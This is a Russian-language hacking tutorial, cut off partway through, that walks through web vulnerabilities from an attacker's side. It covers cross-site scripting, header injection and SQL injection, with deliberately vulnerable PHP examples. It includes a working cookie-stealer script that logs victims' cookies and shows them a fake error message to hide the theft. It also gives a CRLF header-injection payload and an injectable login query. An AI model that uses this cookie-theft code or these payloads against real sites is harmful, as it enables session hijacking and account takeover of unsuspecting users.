В наши дни развелось до фига уязвимых программ и скриптов. Стоит глянуть на securityfocus.com или securitylab.ru как сразу можно в этом убедиться. Сплошные xss, инлюдинги, sql-инъекции... Пришло время систематизировать наши знания о них. Сегодя мы поговорим о:
1) XSS aka CSS aka Cross Site Scripting
2) SQL-injection
3) including
4) null-byte poison
5) PHP-including
6) Remote Command Execution в open() в Perl-скриптах
Начнем с самых "безобидных" и закончим критическими уязвимостями.
I. Cross Site Scripting.
Атака "межсайтовый скриптинг" представляет собой внедрение произвольного HTML-кода в текст выходной страницы. Естественно, внедрять будем не что попало, а маленький JavaScript, который украдет cookies пользователя. Пример уязвимого скрипта xss.php
[code=php]echo "
Hello, ".$_GET['name']."
";[/code]
Изначально предполагалось, что скрипт будет здороваться с нами, но мы его научим другим вещам
.gif)
Попробуем вызвать его следующим образом:
[color=#173bd3]xss.php?name=lamo
[/color]
Скрипт послушно вставит значение параметра name в страницу и вот что выйдет:
[code=html]
Hello, lamo
[/code]
Т.е. кроме приветствия еще вылетит окошко с кукисами, установленными на этом домене. Для успещной эксплуатации уязвимости, конечно, следует сделать что-нибудь вроде этого:
xss.php?name=lamo
А сам cookiestealer.php должен быть примерно слудующий:
[code=php]$cookies=$_ENV['QUERY_STRING'];
$f=fopen("cookies.log", "a+") or exit;
fputs($f, "----new cookie----\r\n".$cookies."\r\n--------\r\n\r\n");
fclose($f);
echo "Фатальная ошибка 56";
[/code]
Как видно, скрипт послушно запишет переданные ему параметры в лог и уведомит пользователя о якобы произошедшей ошибке
Так же уязвимыми могут быть скрипты, которые нефильтруют аргументы, передающиеся в header()
Пример бажного скрипта:
Code:
header("Content-type: text/".$_GET['type']);
echo "BlaBlaBla";
?>
Вызов:
header.php?type=html%0d%0a%0d%0a
Т.к. \r\n\r\n (в hex-виде - 0d 0a 0d 0a) является маркером конца заголовка, то последующие данные воспримутся браузером как код страницы. Конечно, пример достаточно нереалистичен, но, я думаю, ясно, как использовать данную уязвимость.
II. SQL-injection
Если скрипт подвержен уязвимости типа sql-инъекции, то удаленный атакующий может изменить sql-запрос и вывести совсем не те данные, на вывод которых был рассчитан этот скрипт. Пример уязвимого скрита:
пусть есть скрипт авторизации:
Code:
$host = "localhost";
$user = "root";
$password = "";
$db = "test";
if(@mysql_connect($host, $user, $password))
{
if(!mysql_select_db($db))
echo "Cannot select database $db";
}
else
echo "Cannot connect to $host, username $user";
if(isset($_POST['go']))
{
$r=mysql_query("select * from users where login='".$_POST['login']."' and password='".$_POST['password']."'");
if(mysql_num_rows($r)==0)
echo "Access denied";
else echo "Access granted";
}
else
{
?>
Login:
Password: